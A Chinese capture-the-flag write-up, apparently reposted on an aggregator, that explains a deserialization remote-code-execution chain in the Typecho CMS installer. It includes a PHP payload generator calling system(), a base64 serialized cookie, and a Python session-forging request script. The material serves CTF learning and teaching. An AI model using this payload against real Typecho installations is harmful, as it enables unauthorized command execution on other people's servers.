[GKCTF 2020]ez三剑客-eztypecho

2024-01-03 15:28

本文主要是介绍[GKCTF 2020]ez三剑客-eztypecho,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

[GKCTF 2020]ez三剑客-eztypecho

考点:Typecho反序列化漏洞

打开题目,发现是typecho的CMS

在这里插入图片描述

尝试跟着创建数据库发现不行,那么就搜搜此版本的相关信息发现存在反序列化漏洞 参考文章

跟着该文章分析来,首先找到install.php,看向下面代码

<?php if (isset($_GET['finish'])) : ?>
//省略部分代码<?phpif(!isset($_SESSION)) { die('no, you can\'t unserialize it without session QAQ');}$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));Typecho_Cookie::delete('__typecho_config');$db = new Typecho_Db($config['adapter'], $config['prefix']);$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);Typecho_Db::set($db);?>
<?php endif; ?>

如果有GET传参finish,则进入下面代码,如果有session值,那么unserialize函数反序列化,我们跟进到Typecho_Cookie::get()

发现在/var/Typecho/Cookie.php

public static function get($key, $default = NULL)
{$key = self::$_prefix . $key;$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);return is_array($value) ? $default : $value;
}

可以知道__typecho_config就是我们传参的$key(也就是参数名)

注意$value的赋值逻辑,如果cookie存在key参数,那么该参数值赋值给$value

$value = $_COOKIE[$key] ;

如果cookie不存在key参数,那么进行第二步判断

$value = (isset($_POST[$key]) ? $_POST[$key] : $default);

同理如果存在key,则将POST传参key的参数值赋给$value

所以cookie传参或者post传参都行

回到install.php,发现存在Typecho_Db类的调用

$db = new Typecho_Db($config['adapter'], $config['prefix']);

跟进到/var/Typecho/Db.php去看看实例化的过程

public function __construct($adapterName, $prefix = 'typecho_')
{/** 获取适配器名称 */$this->_adapterName = $adapterName;/** 数据库适配器 */$adapterName = 'Typecho_Db_Adapter_' . $adapterName;if (!call_user_func(array($adapterName, 'isAvailable'))) {throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");}$this->_prefix = $prefix;/** 初始化内部变量 */$this->_pool = array();$this->_connectedPool = array();$this->_config = array();//实例化适配器对象$this->_adapter = new $adapterName();
}

不难发现$adapterName可控,也就是install.php中的$config,往下看发现出现字符串拼接,因此可以触发__toString魔术方法

我们在/var/Typecho/Feed.php找到toString()方法

public function __toString()
{$result = '<?xml version="1.0" encoding="' . $this->_charset . '"?>' . self::EOL;if (self::RSS1 == $this->_type) {//省略部分代码} else if (self::RSS2 == $this->_type) {foreach ($this->_items as $item) {$content .= '<item>' . self::EOL;$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;$content .= '<link>' . $item['link'] . '</link>' . self::EOL;$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;//给师傅们减轻负担QAQ,要加上$item['category'] = array(new Typecho_Request());和$this->_type防止500$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;if (!empty($item['category']) && is_array($item['category'])) {foreach ($item['category'] as $category) {$content .= '<category><![CDATA[' . $category['name'] . ']]></category>' . self::EOL;}}//省略部分代码
}

如果self::RSS2 == $this->_type为真,那么$item['author']->screenName会调用screenName属性,如果author为对象,且不存在该属性则可以调用_get()方法

我们跟进到/var/Typecho/Request.php

public function __get($key)
{return $this->get($key);
}

传入$key(也就是screenName),然后调用自己的get方法

public function get($key, $default = NULL)
{switch (true) {case isset($this->_params[$key]):$value = $this->_params[$key];break;case isset(self::$_httpParams[$key]):$value = self::$_httpParams[$key];break;default:$value = $default;break;}$value = !is_array($value) && strlen($value) > 0 ? $value : $default;return $this->_applyFilter($value);
}

大概意思就是给$value赋值,返回_applyFilter($value);,至于这里switch选择的是isset($this->_params[$key]),因为这个是可控的,而$_httpParams是false不可控(这些都可以在源码找到)

继续跟进到_applyFilter()

private function _applyFilter($value)
{if ($this->_filter) {foreach ($this->_filter as $filter) {$value = is_array($value) ? array_map($filter, $value) :call_user_func($filter, $value);}$this->_filter = array();}return $value;
}

可以发现存在call_user_func()函数命令执行,我们知道_filter可控,也就是说通过_filter_params来实现RCE

所以pop链逻辑如下

//提供传参前提
Typecho_Cookie::get()
//命令执行链子
Typecho_Db::__construct() -> Typecho_Feed::toString() -> Typecho_Request::__get() -> Typecho_Request::get()

而Typecho_Db类的实例化已经帮我们实施了,所以我们只需要构造后面的

这里items[]数组我们就不用源码中的

public function addItem(array $item)
{$this->_items[] = $item;
}

我们直接自己实例化就行

exp如下

<?php
class Typecho_Feed{const RSS2 = 'RSS 2.0';private $_type;private $_items=array();public function __construct(){$this->_type=$this::RSS2;$this->_items[]=array("autohr" => new Typecho_Request(),"category" => array(new Typecho_Request()));}
}class Typecho_Request{private $_params = array();private $_filter = array();public function __construct(){$this->_params['screenName'] = 'cat /flag';  $this->_filter[0] = 'system';}}
$a=new Typecho_Feed();
$b=array("adapter" => $a,"prefix" => "typecho_"
);
echo base64_encode(serialize($b));

得到payload后解决如何构造session,用的是PHP中的特性PHP_SESSION_UPLOAD_PROGRESS

利用session.upload_progress,可以将上传的文件信息保存在session中,从而实现构造session

脚本如下

import requests
url='http://node4.anna.nssctf.cn:28256/install.php?finish=1'
files={"file":"123"
}
headers={"Cookie":"__typecho_lang=zh_CN;PHPSESSID=test;__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToyOntzOjY6ImF1dG9ociI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo0OiJscyAvIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX1zOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjQ6ImxzIC8iO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX19fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==","Referer":"http://node4.anna.nssctf.cn:28256/install.php"
}req=requests.post(url,files=files,headers=headers,data={"PHP_SESSION_UPLOAD_PROGRESS":"123456"})
print(req.text)

我们通过POST上传PHP_SESSION_UPLOAD_PROGRESS使得将上传文件信息保存到session,上传的文件就是files

不过这里环境好像有点问题,没有flag

在这里插入图片描述

另外一个触发思路

因为get传参start处也有一个反序列化,所以也可以用那个打

要满足2个条件即可:

  1. $_GET[‘start’] 参数不为空
  2. Referer 必须是本站

在这里插入图片描述

这篇关于[GKCTF 2020]ez三剑客-eztypecho的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/566157

相关文章

usaco 1.3 Mixing Milk (结构体排序 qsort) and hdu 2020(sort)

到了这题学会了结构体排序 于是回去修改了 1.2 milking cows 的算法~ 结构体排序核心: 1.结构体定义 struct Milk{int price;int milks;}milk[5000]; 2.自定义的比较函数,若返回值为正,qsort 函数判定a>b ;为负,a<b;为0,a==b; int milkcmp(const void *va,c

2020年SEO行业发展变化和趋势分析!

一、搜索引擎算法发展轨迹 第一阶段:人工目录(1997年-2001年“雅虎早期搜索模式”); 第二阶段:文本分析(2001年-2004年“以关键词和背景颜色一样,堆积大量关键词,就会有非常好的排名; 第三阶段:链接分析(2004年-2009年“以反向链接为核心算法的阶段”),这时行业内有句话是内容为王,外链为皇; 第四阶段:智能分析(2009年-现在“以满足用户人性化需求的用户浏览行为分析

2020年数据术语的故事

点击上方蓝色字体,选择“设为星标” 回复”资源“获取更多资源 2020年整个技术圈子要说话题最多的,应该是大数据方向。新感念层出不穷,数据湖概念就是其中之一。这篇文章是关于数据仓库、数据湖、数据集市、数据中台等一些列的概念和发展进程。希望给大家带来一个全面的感知。 本文作者:Murkey学习之旅、开心自由天使 本文整理:大数据技术与架构,未经允许不得转载。 如今,随着诸如互联网以及物联网等

汇总(三):2020年12月

1.mysql数据库中,字段类型为tinyint(1)的,在select时,不显示正常的数字而是true或false?  传送门

2020 1.1版本的idea中git的使用场景

1、克隆项目 File-->New-->Project from Version Control 2、拉取远程的分支到本地 右下角-->(Remote Branches)选定分支-->checkout 3、将master分支更新的代码合并至bry分支并提交到远程仓库    (目的:实时与master的最新代码保持一致) 右下角-->(Local Branches)checkout br

BUUCTF PWN wp--bjdctf_2020_babystack

第一步   checksec一下,该题是64位的,该题目大概率是一道栈溢出(因为题目里面提到了stack) 分析一下这个二进制保护机制: Arch: amd64-64-little 这表示二进制文件是为64位AMD处理器设计的,使用的是小端序(little-endian)格式。RELRO: Partial RELRO RELRO(Relocation Read-Only)是一种安全特性,旨

BUUCTF—[网鼎杯 2020 朱雀组]phpweb

题解 打开题目是这样子的。 啥也不管抓个包看看,从它返回的信息判断出func后面的是要调用的函数,p后面的是要执行的内容。 那我们直接执行个系统命令看看,可以看到返回了hack,估计是做了过滤。 func=system&p=ls 直接读取源码看看咯,可以看到过滤了好多函数,反正我认识的可以进行命令执行的函数都给禁了。 func=file_get_contents&p=ind

跳槽了 2020-04-25

为什么跳槽,不仅仅是由于工作上项目的不太喜欢,最主要的原因还是福利待遇。。额,确实是硬伤。 在上家公司也工作了差不多4年多,大四就去公司实习,转正后工作到2020年2月。 提出离职,一开始是在过不去心里这道坎,因为不知道怎么开口,纠结了很久 刚好也遇到了这个疫情,一直呆在家里 最后还是鼓起勇气,提出了离职,并说出离职原因:福利待遇问题 找工作的这段时间,心里想着不想再去外包公司了,一定要去一个甲

【数据分享】地级市-第一产业增加值(1990-2020年)

数据介绍 在经济发展的浪潮中,数据如同照亮前行道路的明灯。今天,我们为大家带来一份极具价值的数据资源 —— 地级市 - 第一产业增加值(1990 - 2020 年)。 第一产业作为国民经济的基础,对于一个地区的稳定和发展起着至关重要的作用。这份涵盖了 1990 年至 2020 年长达三十余年的数据,为我们深入了解各地级市在这一重要领域的发展历程提供了有力的依据。 通过分析这些数据,我们可以清

Flink高危漏洞 (CVE-2020-17518/17519) 修复指南

一、背景二、修复方法三、详细步骤1.准备flink源码2.找到修复的commit3.编译打包4.替换jar包 四、总结 一、背景 ​ 国家信息安全漏洞库(CNNVD)收到关于Apache Flink安全漏洞(CNNVD-202101-271、CVE-2020-17519)(CNNVD-202101-273、CVE-2020-17518)情况的报送。成功利用漏洞的攻击者,可